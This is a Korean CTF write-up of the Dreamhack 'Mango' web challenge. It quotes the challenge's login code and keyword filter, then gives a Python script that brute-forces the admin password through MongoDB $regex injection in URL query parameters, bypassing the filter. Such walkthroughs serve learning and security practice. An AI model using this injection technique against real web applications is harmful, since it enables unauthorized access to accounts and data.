Webhacking-Write-Up/Dreamhack
[Dreamhack] Mango
SlowTurtle_
2023. 1. 9. 20:18
728x90
[Dreamhack] Wargame - Mango
index
로그인 정보를 url에 넣어 접속하니 guest가 출력됐다.
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
코드를 확인하니 admin,dh,admi가 필터링되어 있다는 것을 알 수 있었다.
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
/login 소스를 확인해보니 필터링을 거친 후 uid와 upw에 담아서 db를 통해 id와 pw가 일치하는 유저를 찾는다.
우리는 GET으로 받는 값을을 브루트포스공격으로 참일 시 uid값을 받는 방법으로 진행할 것이다. uid가 admin일 때 pw를 하나씩 요청하면서 참인지 아닌지 구별할 것이다.
아래는 파이썬 코드를 작성한 것이다.
import requests
import string
url="http://host3.dreamhack.games:13399/login?uid[$regex]=ad...&upw[$regex]=D.{"
alphanumeric = string.ascii_letters + string.digits
flag=""
for x in range(32):
for ch in alphanumeric:
res=requests.get(url+flag+ch+".*")
if(res.text=='admin'):
flag+=ch
print("DH{"+flag+ch+"}")
break
print("DH{"+flag+"}")
위와 같은 flag값을 얻을 수 있다.
728x90